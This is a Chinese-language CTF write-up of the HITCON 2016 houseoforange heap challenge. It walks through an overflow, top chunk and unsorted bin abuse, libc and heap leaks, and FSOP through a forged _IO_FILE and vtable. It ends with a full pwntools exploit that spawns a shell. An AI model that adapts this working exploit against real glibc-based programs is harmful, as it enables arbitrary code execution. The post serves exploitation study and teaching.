House-of-Orange

题目简介

hitcon2016的houseoforange原题,BUU链接见:BUUCTF:houseoforange_hitcon_2016

这道题是house of orange技术的经典例题,通过这题加深了对top chunk、unsorted bin、large bin、IO_FILE利用等一系列技术的理解,非常值得记录

漏洞点分析

首先题目写了ubuntu 16,确定glibc版本是2.23,接着checksec先看一下,发现保护全开:


然后拖进IDA里分析,可以看出来是一个菜单程序,如下图:(图中都是已经恢复了部分函数和变量名的,具体如何恢复目前我只能说凭经验和输出来猜测,以后学到了好方法再记录)


主要有3个功能,分别是Build、See和Upgrade,分别对应创建堆块、输出堆块和编辑堆块的能力,进入每个函数仔细分析一下

首先看Build函数,即添加堆块的功能:


发现Build功能基本没什么问题,主要就是添加相关结构体和成员,具体的结构体视图如上图所示

另外,可以看出house结构指针存储在偏移0x203068的地方,house数量存储在偏移0x203070的地方

接下来看Upgrade函数,如图:


发现在更新name的时候会重新询问长度,因此这里存在溢出

最后再看一下See函数:


看上去没什么问题,只是把所有字段输出出来,但是结合之前Build函数的逻辑,可以发现我们只能输出最后添加的那个house

接下来的问题是如何利用Upgrade里的溢出点,主要是题目没有给free的接口,因此要想办法能free堆块

注意到ptmalloc分配堆块的规则:所有bins无法满足的时候从top chunk取,如果top chunk也不够,会申请新的内存,然后 旧的top chunk会被丢到unsorted bin

但是实现了free之后呢?如何控制任意地址写

这里需要注意到unsorted bin的分配机制,glibc中,当fast bin、small bin、large bin都不够的时候,会从unsorted bin中取堆块,且取最末尾的堆块

当然,对于双向循环链表,不存在头尾,意会一下是取fd指向main_arena bins[1](偏移固定,一般为main_arena+88)的那个堆块即可(即下图的chunk3)


对应的源码如下:

1
2
3
4
5
6
7
8
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
…………
}
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

而如果我们能够修改最后一个堆块(chunk 3)的bk指针,指向我们想要写入的地址-16字节的位置,就能在这一步:

1
bck->fd = unsorted_chunks (av);

中将main_arena+88这个值写入任意地址
但是写到哪里,一个思路是写到_IO_list_all,劫持IO_FILE的链表去打FSOP,但这样的话要泄露libc地址

注意当申请到一个large bin的时候,这个堆块的fd_next和bk_next会残留libc和堆块的信息,如图:


加上题目程序自定义的输入函数并不会没在最后加上0x00,如图:

因此可以利用以上两点来泄露堆地址和libc地址,其中libc地址用于定位_IO_list_all,堆地址用于布置假的FILE和vtable

最后,如何劫持_IO_list_all?我们知道,当unsorted bin attack完成后,_IO_list_all会指向main_arena+88

首先想到我们能直接在main_arena+88的位置伪造一个假的FILE或者在main_arena+88+0xd8的位置伪造一个假的vtable吗?

不,我们尽管可以任意地址写,但写的内容是固定的,即main_arena+88,很难在任意地址伪造一个vtable

所以只能在分配给我们的House里伪造数据结构,而恰好main_arena+88+0x68,这个地方作为_IO_list_all的_chain字段,是0x60大小的small bin的区域

所以,只要我们把unsorted bin的size字段改为0x60,在下一次分配的时候,会把这个堆块放到small bin的对应位置,从而在刷新第二个IO_FILE的时候就劫持到了我们伪造的数据结构上

至此,梳理一下本题的利用思路:

  1. 分配一个堆块,溢出修改top chunk的size字段,然后立马申请一个超大堆块,触发top chunk进入unsorted bin
  2. 申请一个large bin,调用See House功能,输出libc和堆地址
  3. 构造好包含假的FILE和vtable的payload,再次利用溢出在堆上布置好结构体
  4. 最后一次malloc,首先触发unsorted bin重新分配,被丢到small bin,然后触发error,程序abort,调用IO_flush_all_lockp,刷新假的_IO_list_all

漏洞点利用

按照之前的步骤,首先溢出修改top chunk的size,然后申请大堆块,top chunk被成功丢到unsorted bin里面,如图:



这一段对应的代码为:

1
2
3
4
5
6
#1:House of Orange完成将top chunk丢进unsorted bin
BuildHouse(16)

payload=b'A'*24+p64(0x21)+b'1'*24+p64(0xfa1)
UpgradeHouse(64,payload)
BuildHouse(0x1000)

之后分配一个large bin泄露libc和堆地址,如图:


这一部分对应的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#2:large bin泄露libc
BuildHouse(0x400,"12345678")
name=SeeHouse("12345678")
libcLeak=u64(name.ljust(8,b'\x00'))
libcBase=libcLeak-0x3c5188 #固定偏移,通过gdb调试得到

#3:泄露一个堆地址,后面在堆上布置fakeFILE
UpgradeHouse(40,"1234567812345678")
name=SeeHouse("1234567812345678")
heapLeak=u64(name.ljust(8,b'\x00'))

libc=ELF(libcPath)
sysAddr=libcBase+libc.symbols["system"]
IO_list_all=libcBase+libc.symbols["_IO_list_all"]

最后,布置假的FILE和vtable,并修改unsorted bin的size字段,这些都在一次payload中完成,对应的代码如下:

1
2
3
4
5
6
7
#4:最后一次malloc的时候,由于unsorted bin的bk=_IO_list_all-0x10,所以_IO_list_all的fd=unsorted bin的fd,即main_arena+某个偏移
_chain=heapLeak+0x410+0x10+0x10 #加0x410到存储颜色和价格的那里,再加0x20到unsorted bin头部
vtable=heapLeak+0x508 #0x430再加0xd8即vtable的偏移
fakeFILE=p64(0)+p64(1)+p64(0)*7+p64(_chain)+p64(0)*13+p64(vtable)

payload=b'A'*0x400+p64(0)+p64(0x21)+b'1'*16+b"/bin/sh\x00"+p64(0x61)+p64(0)+p64(IO_list_all-0x10)+fakeFILE+p64(0)*2+p64(sysAddr)
UpgradeHouse(len(payload),payload)

最后能看到在堆上我们伪造的FILE如下图:

同时伪造的vtable如下图:


然后再看一下_IO_list_all,发现已经被修改为main_arena+88,如图:


完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
targetELF="./pwn"
libcPath="/home/k40/Pwn/glibc-tool/glibc-all-in-one/libs/glibc-2.23/libc.so.6"
context.terminal=["tmux","splitw","-h"]
LOCAL=1
REMOTE=2
DEBUG=3
gs = '''
set debug-file-directory /home/k40/Pwn/glibc-tool/glibc-all-in-one/libs/glibc-2.23/.debug
'''
libc=ELF(libcPath)
def Lauch(mode=LOCAL):
if mode==LOCAL:
io=process(targetELF)
return io
elif mode==REMOTE:
io=remote("node5.buuoj.cn",28197)
return io
elif mode==DEBUG:
io=gdb.debug(targetELF,gdbscript=gs)
return io
ioTube=Lauch(DEBUG)

def BuildHouse(nameSize_,name_="AAA",price_=12,color_=1):
ioTube.recvuntil("Your choice : ")
ioTube.send("1")
ioTube.recvuntil("Length of name :")
ioTube.send(str(nameSize_))
ioTube.recvuntil("Name :")
ioTube.send(name_)
ioTube.recvuntil("Price of Orange:")
ioTube.send(str(price_))
ioTube.recvuntil("Color of Orange:")
ioTube.send(str(color_))

def SeeHouse(prefix):
ioTube.recvuntil("Your choice : ")
ioTube.send("2")
ioTube.recvuntil("Name of house : "+prefix)
name_=ioTube.recvline()[:-1]
return name_

def UpgradeHouse(nameSize_,name_,price_=21,color_=4):
ioTube.recvuntil("Your choice : ")
ioTube.send("3")
ioTube.recvuntil("Length of name :")
ioTube.send(str(nameSize_))
ioTube.recvuntil("Name:")
ioTube.send(name_)
ioTube.recvuntil("Price of Orange: ")
ioTube.send(str(price_))
ioTube.recvuntil("Color of Orange: ")
ioTube.send(str(color_))

def GiveUp():
ioTube.recvuntil("Your choice : ")
ioTube.send("4")

#1:House of Orange完成将top chunk丢进unsorted bin
BuildHouse(16)

payload=b'A'*24+p64(0x21)+b'1'*24+p64(0xfa1)
UpgradeHouse(64,payload)
BuildHouse(0x1000)

#2:large bin泄露libc
BuildHouse(0x400,"12345678")
name=SeeHouse("12345678")
libcLeak=u64(name.ljust(8,b'\x00'))
libcBase=libcLeak-0x3c5188 #固定偏移,通过gdb调试得到

#3:泄露一个堆地址,后面在堆上布置fakeFILE
UpgradeHouse(40,"1234567812345678")
name=SeeHouse("1234567812345678")
heapLeak=u64(name.ljust(8,b'\x00'))

libc=ELF(libcPath)
sysAddr=libcBase+libc.symbols["system"]
IO_list_all=libcBase+libc.symbols["_IO_list_all"]

#4:最后一次malloc的时候,由于unsorted bin的bk=_IO_list_all-0x10,所以_IO_list_all的fd=unsorted bin的fd,即main_arena+某个偏移
_chain=heapLeak+0x410+0x10+0x10 #加0x410到存储颜色和价格的那里,再加0x20到unsorted bin头部
vtable=heapLeak+0x508 #0x430再加0xd8即vtable的偏移
fakeFILE=p64(0)+p64(1)+p64(0)*7+p64(_chain)+p64(0)*13+p64(vtable)

payload=b'A'*0x400+p64(0)+p64(0x21)+b'1'*16+b"/bin/sh\x00"+p64(0x61)+p64(0)+p64(IO_list_all-0x10)+fakeFILE+p64(0)*2+p64(sysAddr)
UpgradeHouse(len(payload),payload)

ioTube.recvuntil("Your choice : ")
ioTube.send("1")
ioTube.interactive()

House-of-Orange
http://0x4a-210.github.io/2025/09/27/pwn刷题记录/堆和IO/House-of-Orange/
Posted on
September 27, 2025
Licensed under